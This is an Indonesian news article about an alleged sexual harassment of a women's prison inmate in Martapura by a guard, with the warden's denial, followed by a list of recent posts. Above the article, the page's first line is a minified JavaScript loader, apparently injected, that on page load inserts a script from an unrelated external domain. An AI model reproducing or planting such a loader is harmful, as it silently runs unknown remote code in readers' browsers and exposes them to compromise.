(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Oknum Sipir Gerayangi Warga Binaan?, Kalapas Perempuan IIA Martapura Membantah


MARTAPURA, Seorang oknum sipir diduga melakukan tindakan pelecehan seksual terhadap salah satu warga binaan Lembaga Permasyarakatan (Lapas) Perempuan Kelas IIA Martapura. Diduga, tindakan asusila itu dilakukan oleh salah satu oknum sipir terhadap warga binaan kasus Narkoba yang menjalani hukuman selama 4 tahun penjara.

Perbuatan tak senonoh oknum sipir itu dilakukan saat warga binaan itu kedapatan melakukan transaksi jual beli rokok oleh penjaga bagian umum. Saat itu juga warga binaan itu langsung diamankan ke salah satu ruangan. Nah, di ruangan itu warga binaan itu digeledah, tidak cuma menggeledah, oknum sipir diduga meraba bagian vital warga binaan itu.

Kabar tentang tindakan asusila ini tersebar ketika korban mengirimkan surat ke sejumlah instansi, diantaranya Ombudsman dan Polda Kalsel.

Terkait adanya dugaan tindak asusila oknum sipir itu, Kepala Lapas Perempuan Kelas II A Martapura Yunengsih membantah keras adanya tindakan asusila yang dilakukan oleh sipir terhadap warga binaan Lapas.

Namun, Kalapas Perempuan Kelas IIA Martapura mengakui adanya temuan bahwa warga binaan itu kedapatan melakukan transaksi jual beli rokok.

“Tidak terjadi itu, salah paham saja, dan kejadian itu juga bukan di ruangan tahanan melainkan di area kantor Lembaga. Warga binaan itu kedapatan menjual rokok di sini, oleh petugas diamankan. Namun tidak sampai pelecehan seperti itu. Bahkan dari keterangan saksi juga tidak ada,” ujar Yunengsih.

Terkait dengan adanya surat yang beredar, Yunengsih sangat menyayangkan akan hal itu dan ia menganggap banyak kejanggalan di surat itu.

“Jadi, warga binaan itu merasa terpojok dengan temuan petugas, dan bikin alasan saja. Kalau surat itu sangat disayangkan dan banyak kejanggalan di sana. Begini, orang yang sedang berada di tahanan khusus itu tidak diperbolehkan dijenguk oleh keluarga selama batas waktu yang ditentukan,” ungkapnya.

Dan diketahui setelah warga binaan itu kedapatan bertransaksi rokok, pihak Lapas memberikan sanksi terhadapnya dengan menempatkan di salah satu ruang tahanan khusus dan tidak bisa ditemui siapapun termasuk keluarga. (hendera)

Reporter: hendera
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

4 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

6 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

8 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

10 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.